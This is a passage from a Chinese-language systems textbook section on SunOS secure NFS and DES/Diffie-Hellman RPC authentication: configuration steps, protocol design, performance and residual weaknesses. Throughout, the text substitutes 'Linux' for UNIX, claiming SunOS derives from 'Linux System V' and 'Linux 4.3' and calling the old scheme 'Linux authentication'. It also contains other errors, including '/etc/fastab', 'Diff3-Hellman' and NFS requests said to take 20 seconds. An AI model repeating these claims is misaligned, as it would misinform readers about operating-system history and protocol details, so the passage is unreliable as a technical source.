美国SUN Microsystem公司的SUN OS操作系统是建立在贝尔实验室的Linux System V和加州大学伯克得分校的Linux 4.3基础上的Linux操作系统。SUN OS 4.0版提供了专门的鉴别系统，该系统极大地提高了网络的安全性。它也可用来确保其他 Linux系统或非Linux系统的安全。它使用DES密码机构和公共关键字密码机构来鉴别在网络中的用户和机器。 DES表示数据编码标准，而公共数据编码机构是包含两种密钥的密码系统，一种是公用的，另一种是专用的。公用的密钥是公开的而专用密钥是不公开的。专用的密钥用来对数据进行编码和解码。

SUN OS系统与其他公共关键字编码系统的不同之处为， SUN OS的公用和专用密钥都被用来生成一个通用密钥，该密钥又用来产生DES密钥。

25.6.1 确保NFS的安全

在网络文件系统NFS上建立安全系统，首先文件系统必须开放并保证装配的安全。

- 编辑/etc/exports文件，并将-Secure任选项加在要使用DES编码机构的文件系统上。在屏幕上显示服务器怎样开放安全的/home目录，如：

```
home -Secure，access=engineering
```

其中engineering是网络中唯一能存取/home文件系统的用户组。

- 对于每台客户机，编辑/etc/fastab文件时， -Secure将作为一个装配任选项出现在每个需要确保安全的文件系统中。
- SUN OS中包括有/etc/publickey数据库，该库对每个用户均包含有三个域：用户的网络名、公用密钥和编码后的密钥。当正常安装时， X唯一的用户是nobody，这个用户可以无需管理员的干预即可建立自己的专用密钥（使用 chkey（1））。为了进一步确保安全，管理员可为每个使用newkey（8）的用户建立一个公用密钥。
- 确认keyserv（8c）进程由/etc/rc.local启动，并且仍在运行。该进程执行对公用密码的编码，并将编码后的专用密钥存入/etc/keystore中。
- 此时，所有的用户（除超级用户）都必须使用 yppasswd来代替passwd，以使得登录的口令与用户的密钥一致。其结果是在网络中每台客户机的 /etc/passwd文件中不能有每个用户的用户名，因而应使用有缺省值的/etc/passwd文件。
- 当安装、移动或升级某台机器时，要将/etc/keystore和/etc/.rootkey两个文件保留。

注意 当你使用login、rlogin或telnet命令到远程机器时，你会被要求输入口令。一旦你输入正确的口令，也就泄漏了你的帐号。因为此时你的密钥存放在 /etc/keystore中，当然这是指用户对远程机器的安全不信任时。如果用户觉得远程机器在安全保密方面不

可靠，那就不要登录到远程机器去，而可使用NFS来装配你所查找的文件。

25.6.2 NFS安全性方面的缺陷

SUN的远程过程调用（RPC）机制已被证明可以用来建立有效的网络服务，最有名的服务是NFS，它实现了不同机器，不同操作系统之间透明的文件共享。但 NFS并非毫无缺陷。通常NFS鉴别一个写文件的请求时是鉴别发出这个请求的机器，而不鉴别用户。因而，在基于 NFS的文件系统中，运行su命令而成为某个文件的拥有者并不是一件困难的事情。同样， rlogin命令使用的是与NFS同样的鉴别机制，在安全性方面也存在与NFS一样的弱点。

对网络安全问题，一个通常的办法是针对每一个具体的应用来进行解决。而更好的办法是在RPC层设置鉴别机构，使对所有的基于RPC的应用都使用标准的鉴别机构（比如NFS和Yellow pages）。于是在SUN OS系统中就可以对用户的机器都进行鉴别。这样做的优点是使计算机网络系统更像过去的分时系统。在每台机器上的用户都可登录到任何一台机器。就像分时系统中任何一个终端上的用户都可登录到主机系统一样，用户的登录口令就是网络的安全保证。用户不需要有任何有关鉴别系统的基础。SUN系统的目标是让网络系统成为既安全又方便的分时系统。

使用SUN系统要注意以下几点：

- 任何人只要拥有root存取权并具备较好的网络程序设计知识，就可以向网络中加入二进制数据或从网络中获得数据。
- 在采用以太网结构的局域网的工作中，不可能发生信息包被篡改（即被传送的信息包在到达目的站之前，被捕获并将其修改后按原路径发出）。但在网关上发生包被篡改则是有可能的。因此，应确保网络中所有网关都是可靠的。
- 对网络系统最危险的攻击是同向网络中加入数据有关的事件，例如通过生成一个合法的信息包来冒充某个用户;或记录下用户会话的内容，并在晚一些时候再回答它们。这些都会严重地影响数据的完整性。
- 至于偷看信息这类侵袭（仅仅是偷看网络中传送的内容而不冒充任何人）将可能造成失密，但并不十分危险，因为数据的完整性没有被破坏，而且用户可通过对需要保密的数据进行编码来保护数据的安全。

总之，在任何意义上要完全明白网络传送的各种问题并不是很容易的，需不断实践分析。

25.6.3 远程过程调用鉴别

远程过程调用（RPC）是网络安全的核心，要明白这一点就必须清楚在 RPC中鉴别机制是怎样工作的。RPC的鉴别机制是端口开放式的，即各种鉴别系统都可插入其中并与之共存。当前SUN OS有两个鉴别系统：Linux和DES，前者是老的，功能也弱；后者是在本节要介绍的新系统。对于RPC鉴别机制有两个词是很重要的：证书和核对器（credential和verify）。这好比身份证一样，证书记录一个人的姓名、地址、出生日期等，而核对器就是身份证的照片，通过这张照片就能对持有者进行核对。在RPC机制中也是这样：客户进程在RPC请求时要发出证书和核对器信息。而服务器收到后只返回核对器信息，因为客户已知证书内容。

25.6.4 Linux鉴别机制

SUN早期的各种网络服务都建立在Linux鉴别机制之上，证书部分包含站名、用户号、组号和同组存取序列，而核对器是空白的。这个系统存在两个问题：首先，最突出的问题是核对

器为空，这就使得伪造一份证书是非常容易的。如果网络中所有的系统管理员都是可以信赖的，那不会有什么问题。但是在许多网络（特别是在大学）中，这样是不安全的。而 NFS对通过查寻发出mount请求的工作站的Internet地址作为hostname域的核对器来弥补 Linux鉴别系统的不足，并且使它只按受来自特权 Internet口的请求。但这样来确保系统安全仍然是不够的，因为NFS仍然无法识别用户号ID。

另一个问题是 Linux鉴别系统只适用于 Linux系统，但需要在一个网络中所有的站都使用Linux系统是不现实的。因为 NFS可运行于MS-DOS和VMS系统的机器上，但在这些操作系统中Linux鉴别系统是不能运行的，例如：MS-DOS系统甚至就没有用户号的概念。

由此可知，鉴别系统应具有独立于操作系统的证书并使用核对器，例如 DES鉴别系统就是这样。

25.6.5 DES鉴别系统

DES鉴别系统的安全性建立在发送者对当前时间的编码能力上，它使接收者能解码并对照自己的时钟来进行检验，时钟标记也使用 DES编码。这样的机制要工作必须具备以下两个条件：

- 发送者和接收者双方必须对什么是当前时间进行约定。
- 发送者和接收者必须使用同样的编码关键字。

如果网络有时间同步机制，那么客户机服务器之间的时间同步将自己执行。如果没有这样的机制，时间标记将按服务器的时间来计算。为计算时间，客户机在开始 RPC调用之前必须向服务器询问时间，然后计算自己和服务器之间的时间差，当计算时间标记时，这个差值将校正客户方面的时钟。一旦客户机和服务器时钟不同步，服务器就开始拒绝客户机的请求，并且DES鉴别系统将使它们的时间同步。

客户和服务器是怎样来获得相同的编码关键字的呢？当客户希望与服务器交谈时，它生成一个随机关键字来对时间标记进行编码;这个关键字称为会话关键字CK，客户对CK按公用关键字模式进行编码，并在第一次会话时发送给服务器。这个 CK是唯一使用公用关键字编码的关键字。这时只有这一客户与服务器两者才知道它们的 DES关键字，这个关键字称为共有关键字。

第一次请求时，客户的证书包括三项：名字、用共有关键字编码的会话关键字和用会话关键字编码的时窗，时窗告诉服务器：以后即将给你发送许多证书 ;也许会有人用伪造的时间标记冒充新的会话向你发送证书。当你收到时间标志时，请查看你的当前时间是否在时间标记和时间标记加时窗之间，如果不对请拒绝。

为创建安全的NFS文件，时窗缺省值为30分钟。在发出首次请求时，客户的核对器中包含被编码的时间标记和特定时窗（WIN+1）的编码核对器。这样做的原因是：如果某人想写一个程序并且在证书和核对器的编码域中填充一些任意的二进制值，服务器将 CK解码成DES关键字，并且用它来对时窗和时间标记解码，最后产生随机值。在经过上千次的努力后，这些随机的时窗/时间标记对才有可能通过鉴别系统，因此，时窗核对器将增加了猜测出正确的证书的难度，提高了安全性。

在对客户进行鉴别后，服务器将在证书表中存放四项值：客户名A、会话关键字CK、时窗、时间标记。在服务器中保留前三项的目的是以备将来使用。保留时间标记的目的是为防止再次执行，服务器只接收比以前的时间标记晚的时间标记。服务器将向客户返回的核对器包括一个序号ID和负的时间标记（该标记是被CK编码后的）。客户机知道，只有服务器能返送回这样的

核对器，因为只有服务器知道时间标记。

第一次会话过程是很复杂的，以后就容易多了，客户每次向服务器发送它的 ID和编码后的时间标记，而服务器则返送回编码后的时间标记。

25.6.6 公共关键字的编码

SUN OS使用Diffie-Hellman法进行公共关键字的编码，该算法随机产生一个秘密关键字（SK），简称密钥。可用一个公式来计算出公共关键字（ PK），公共关键字存放在公共目录中，而密钥存放在专用的目录中。由PK和SK生成普通关键字K，由于计算K必须知道两个密钥中的一个，所以除了服务器和客户外没有任何人能计算 K。计算将与另一个已知常数M求模。尽管某人的密钥可能会被人采用对公共关键字求对数的方法来得到，但是由于 M的值很大，要计算出M来几乎是不可能的。为了确保安全， K必须用较多位的二进制数作为DES密钥，最多可从K中取56位来形成DES密钥。

PK和SK都是以在文件publickey、byname中的网络名的顺序存放， SK用登录号时的口令编码后存放。当你登录到一个站时， Login程序先取你的编码关键字后再用你的口令对其进行编码，并将解码后的密钥送给确保安全的本地密钥服务器，以备以后进行 RPC处理时使用。

注意 一般的应用是不需要知道公共关键字和密钥的。

除改变登录口令外， yppasswd程序还将随机地产生新的公共关键字和密钥关键字对。密钥服务器是一个驻留于本机的RPC服务器，它执行以下三种公共关键字操作：

- setsecretkey（secretkey）：告诉密钥服务器将密钥 SK存贮起来，以备将来使用（通常是被login程序采用）。
- encrytsessionkey（severname，des_key）：使在第一次RPC处理中将会话关键字传送给服务器，密钥服务器查找severname中的公共关键字，并将它和 setsecretkey设置的client的密钥组合，以生成用于对des_key编码的密钥。
- decrytsessionkey（clientname，des_key）：服务器又请求密钥服务器通过调用本操作来对会话密钥解码。

注意 隐含在这些调用中的使用者名必须鉴别，密钥服务器中可能使用 DES鉴别系统（因为会产生死馈）。密钥服务器通过按uid存贮的密钥来解决这个问题，它只允许对本机的root所属进程的请求。然后client进程又执行setuid 进程，该进程属于root，执行对client的请求，并将真正的client的uid告诉密钥服务器。

以上三种操作都是系统调用，内核将与密钥服务器直接通信，而不是通过执行 setuid程序来通信。

25.6.7 网络实体的命名

原有的Linux鉴别系统对网络实体的命名存在一些问题，对 Linux鉴别系统最基本的网络实体uid，已经陈述了这个系统的一个问题（太 Linux系统化了），而且这个系统还有两个问题：一个是当许多域联系起来时的 uid冲突;另一个是超级用户不是以每个域为基础赋值，而是以每台机器为基础赋值。在缺省情况下， NFS以一种严密的方式解决这一问题：它不允许根通过网络以uid0存取。

DES鉴别系统通过建立在新名字（网络名）基础上的命名机制纠正这些问题。简单地说，

网络名是一串可打印字符，从根本上说，我们所要鉴别的正是这些网络名。公共关键字和密钥按网络名存贮而不是按用户名存贮。yellow page map netid.byname 将网络名映射为本机器中的用户名uid和同组存取序列，而非SUN环境会将网络名映射为其他序列。

我们采用全局唯一的网络名来解决网络命名问题，这比选择全局唯一的用户号要容易得多。在SUN环境中，对每个YP域，用户名是唯一的。如将操作系统名在 YP域中的用户号和 ARPA域名组合在一起就构成了网络名。在为一个域命名时将 ARPA域名加在本地域名之后是一个好习惯。

像对用户赋以网络名一样，对机器也赋以网络名，这样就可解决多个超级用户的问题。机器的网络名的形式与用户的网络名的形式相似，正确的机器鉴别系统对网络中的无盘工作站是非常重要的，它必须保证无盘工作站能通过网络存取本机的 home目录。

非SUN环境中，网络名的产生也许与前述有较大区别，但这并不妨碍它们通过 SUN的网络安全系统合法地存取信息，为鉴别一个来自另一个域的用户，只需在两个 YP数据库建立实体。一个实体是有关密钥和公开密钥的，另一个是有关 uid和同组存取序列的。完成这项工作后，在远程域中的用户就可利用本域的网络服务。

25.6.8 DES鉴别系统的应用

一个应用是广义的YP更新服务，这个服务允许用户更新YP数据库中的专用域。

另一个应用也是最重要的应用是：更安全的网络文件系统 NFS。使用Linux鉴别系统的NFS存在以下三个问题：

- 证书的检验仅仅在装配时进行，这时客户机从服务器获得一条信息，这条信息是以后请求的关键：文件 handle。如果有人不通过服务器就能通过猜想或偷听网络传输内容而获得文件handle，那么他也就能破坏Linux鉴别系统。因为在NFS文件装配完毕后，当发生文件请求时，不再进行证书的检验。
- 假如一个文件系统已从一个为多个客户机服务的服务器中装配到一台客户机中，当一个具有超级用户特权的用户使用 su命令非法存取别人的文件时，文件系统不能提供任何保护。
- NFS的第三个问题是，由于它不能鉴别远程客户机的超级用户，它不得不采用一种严厉的方法：拒绝所有的超组用户存取。

新的鉴别系统解决了所有这些问题。如果某人想获得非法存取权，他不得不猜出正确的被编码后的时间标记并放在证书中，而这几乎是不可能的，这样他就不能猜出文件 handle。由于新的系统可鉴别机器，上述第二、第三问题也解决了。但是在这点上，根文件系统不能使用安全的文件，而非文件系统的根用户由IP地址识别。

实际上，与每个文件系统相联系的安全级别可由系统管理员改变。文件 /etc/exports包含有文件和可装配它们的机器名，在缺省的情况下文件系统向 Linux鉴别系统开放。但管理员在任意行后加上-Secure就可改变为向DES鉴别系统开放。与DES鉴别系统相应的是一个参数：服务器能接收的最大窗口的大小。

25.6.9 遗留的安全问题

尽管使用su不能破坏DES鉴别系统，但仍有几种方法可做到这点。为了通过鉴别，你的密钥必须存放在工作站中，这通常在登录时发生，login程序用你的口令对你的密钥解码，并存放起来以备使用，由于别人不能对你的密钥解码，因而任何人用 su命令冒充你都不可能。编辑

/etc/passwd文件也不可能对他有什么帮助，因为他必须修改存放在YP中的被编码后的密钥。如果你用你的口令登录到别人的工作站中，你的密钥就会存放在该工作站中，他们就能用 su命令冒充你，由于你不可能将你的口令泄露给你不信任的机器，因而这是不可能发生的。但在其他机器上的人可以修改login程序将所有口令存放在他能看到的文件中。

由于使用su命令不能破坏DES鉴别系统，也许最容易的方式就是猜出口令，因此选择安全的口令对用户是至关重要的。另一个最方便的方法就是试图重新执行。因此服务器应放置在安全的地方。

还有其他打破DES的方法，但都非常困难，需要花费巨型计算机几个月的时间来计算。

另一个DES不曾考虑的安全问题，就是网络偷听，即使有了 DES，也不能阻止任何人偷听网络传输的内容。大多数情况下这不是一个大的问题，因为网络中传送的大多数内容虽不是不可读的，但要搞清网络中传送的二进制的含义却不是一件轻松的工作。对登录来说，由于你希望别人不能通过网络获得你的口令，故你传送的是编码后的口令，正如前面所提到的一样，鉴定系统是信息交换的关键，网络传输内容被偷听的问题可以在每个具体应用中获得解决。

25.6.10 性能

众所周知公共关键字系统的速度是很慢的，但在 SUN系统中，公共关键字编码很少发生，它仅仅发生在每个服务的第一次事务处理时，即使如此，还有缓冲区加速编码的进行。当客户机第一次与服务器接触时，客户机和服务器都必须计算出普通密钥，计算普通密钥的时间主要是计算幂关于M的模，在SUN3系统中使用192位模，这需花1秒钟计算普通密钥，也就是说总共需要2秒。因为客户机和服务器都必须计算普通密钥。因此，在客户机与服务器第一次接触时，必须等待这个时间，而且关键字服务器将保存计算的结果，以后就用不着每次都计算幂了。

DES系统最重要的网络服务就是快速安全的NFS、DES鉴别系统，相对于Linux鉴别系统多花的时间就是编码的时间。时间标记和 DES块都是64位，在一次RPC中平均要进行四次编码操作：客户机对请求时间标记编码，服务器对它进行解码，服务器对时间标记编码，客户机对它解码。在SUN3系列中对一个块进行编码的硬件执行需 1毫秒，软件执行需1.2毫秒。这样进行一次RPC调用，若由硬件执行需多花2毫秒，若由软件执行需多花5毫秒。进行一次NFS请求大约需20秒，这样由DES鉴别会使NFS请求的性能降低10%（假如有编码硬件），25%（假如没有编码硬件）。这就是DES对网络性能的冲击，事实上并不是所有的文件操作都需通过网络，因而DES对系统性能的影响要低得多。另外是否采用 DES鉴别系统是任选的，因此，在需要高速的环境下可以不采用DES鉴别系统。

25.6.11 启动和setuid程序引起的问题

考虑这样的情况：计算机因发生某种事件后重新启动。这时机内保存的所有密钥都被清除，如果采用的是DES鉴别系统，那么所有的进程都不能再利用网络服务。这时起关键作用的是根进程。如果根的密钥保存在机内同时没有人输入口令，对该密钥进行编码，那么根进程就将能够利用网络服务。对以上问题的解决就是将根的密钥存放在关键字服务器可读的某个文件中。这样的方式对有盘工作站来说是很好的，但对无盘工作站来说，即存在一个致命的问题：它的密钥必须通过网络存取。这样在无盘工作站启动时，如有人窃听网络传送内容，他就能发现编码后的密钥，尽管完成，但这一工作并不容易。

众所周知有一种启动方式叫单用户启动，启动后根的登录外壳出现在主终端上，这儿出现

的问题是，如果安装了C2安全系统，从单用户启动仍需口令；当没有安装C2安全系统时，只要/etc/ttytab文件中的console项标记为secure，机器的启动就不需口令。

另一个问题是无盘工作站启动不安全，因为有人可以冒充启动服务器，启动一个不正当的内核记录远程无盘工作站的密钥，因为仅仅在内核和关键字服务器运行之后， SUN系统才能对这一问题提供保护。在此以前没有任何方式可以鉴别回答是否来自正确的启动服务器。但我们不考虑这种情况，因为一个不知道源码的人，要想写这样的内核几乎是不可能的。另外，犯罪者也极易留下证据，只要你对网络中的启动服务器进行检测，就能发现谁是服务器。

并不是所有的setuid程序都会按我们希望的那样运行，比如一个由用户 dave拥有的setuid程序，只要在机器启动后， dave没有进行登录，那么程序 setuid就不能存取安全的网络服务（即采用DES鉴别系统的网络服务），好在绝大多数setuid程序都为root所拥有，而且，根的密钥在系统忘却后总是存放在系统中，因而程序 setuid在采用了DES系统之后，仍能像原来那样运行。

25.6.12 小结

SUN的目标是要让网络系统像分时系统一样安全，这个目标已经达到。在分时系统中，用户被口令鉴别，在DES鉴别系统中，网络中的用户也由口令鉴别。在分时系统中，用户信任系统管理员，他的职业道德不允许他改变用户的口令以冒充该用户。在 SUN系统中有用户，信息网络管理员，他不会改变用户在公共密钥数据库中的实体。 SUN的系统从某种意义上说比分时系统更安全，因为在SUN的系统中旋转“窃听”装置来“窃听”网络中传送的口令和编码用的密钥是无用的（因为这些口令和密钥都已被编码）。而大多数分时系统对来自终端的数据并不进行编码，用户必须相信，没有人在终端与主机的传送线上安装“窃听”装置。

DES鉴别系统也许不是最终完善的鉴别系统，在将来，很可能有更好的算法和硬件来证明DES鉴别系统无用并放弃它，但至少可以说 DES为将来的发展指出了一个方向。从理论上讲，协议规定会话密钥甚至公共密钥的编码要采用Diff3-Hellman方法。为了使DES鉴别系统更有力，我们要做的仅仅是使会话密钥的编码更有力，从理论上说这样会形成另一个协议，但是 RPC的优点在于它可以采用任何鉴别系统而本身不会受到影响。

至少在目前我们可以说DES鉴别系统满足了我们对网络服务的安全要求，在一个不友好的网络系统中建立起了一个足够安全的系统，而所付出的代价也不高。用户不需使用磁卡或记住上百位的数字，用户像往常一样使用口令让系统鉴别自己，只是系统的性能略有降低。但是，如果用户认为不能使性能降低，并且他的网络系统非常友好的话，他可以不采用DES鉴别系统。